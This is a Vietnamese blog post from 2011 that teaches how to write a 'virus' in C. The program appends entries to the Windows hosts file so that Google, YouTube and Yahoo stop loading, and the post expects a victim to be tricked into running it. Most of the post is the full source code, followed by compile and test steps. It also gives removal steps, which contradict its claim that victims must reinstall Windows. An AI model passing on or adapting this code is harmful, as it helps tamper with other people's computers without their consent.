Thứ Hai, 2 tháng 5, 2011

HƯỚNG DẪN VIẾT 1 CON VI RUS BẰNG NGÔN NGỮ C ĐỂ CHẶN 1 TRANG WEB

Vi rút này đã được độc quyền tạo ra trong "C". Vì vậy, bất cứ ai có một kiến thức cơ bản của C sẽ có thể hiểu các làm việc của virus. Điều này cần của virus để được bấm một lần của nạn nhân. Sau khi nó được nhấp vào, nó sẽ ngăn chặn một danh sách các trang web đã được quy định trong mã nguồn. Các nạn nhân sẽ không bao giờ có thể lướt những trang web trừ khi anh ta cài đặt lại của hệ điều hành. Điều này ngăn chặn không chỉ giới hạn trong IE hoặc Firefox. Vì vậy, một khi bị chặn, trang web sẽ không xuất hiện trong bất kỳ chương trình trình duyệt.
Chú ý: Bạn cũng có thể chặn một trang web bằng tay. Tuy nhiên, ở đây tôi đã tạo ra một loại virus tự động hóa tất cả các bước liên quan trong việc ngăn chặn. Quá trình hướng dẫn ngăn chặn được mô tả trong bài viết Làm thế nào để Chặn một Website?
" #include
#include
#include

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}





Làm thế nào để biên dịch?

Đối với từng bước hướng dẫn lập, tham khảo bài viết của tôi như thế nào để biên dịch chương trình C.

Thử nghiệm

1. Để kiểm tra, chạy các module được biên dịch. Nó sẽ chặn các trang web được liệt kê trong mã nguồn.

2. Một khi bạn chạy các block_Site.exe tập tin, khởi động lại chương trình trình duyệt của bạn. Sau đó, gõ địa chỉ URL của trang web bị chặn và bạn sẽ thấy các trình duyệt hiển thị lỗi "Trang có thể không hiển thị".

3. Để loại bỏ các loại virus sau khi chạy.
%windir%\system32\drivers\etc
4. Có, mở tập tin có tên "hosts" bằng cách sử dụng notepad.At dưới cùng của file được mở bạn sẽ thấy một cái gì đó như thế này

127.0.0.1 google.com

5. Xóa tất cả các mục đó có chứa tên của các trang web bị chặn.

Không có nhận xét nào:

Đăng nhận xét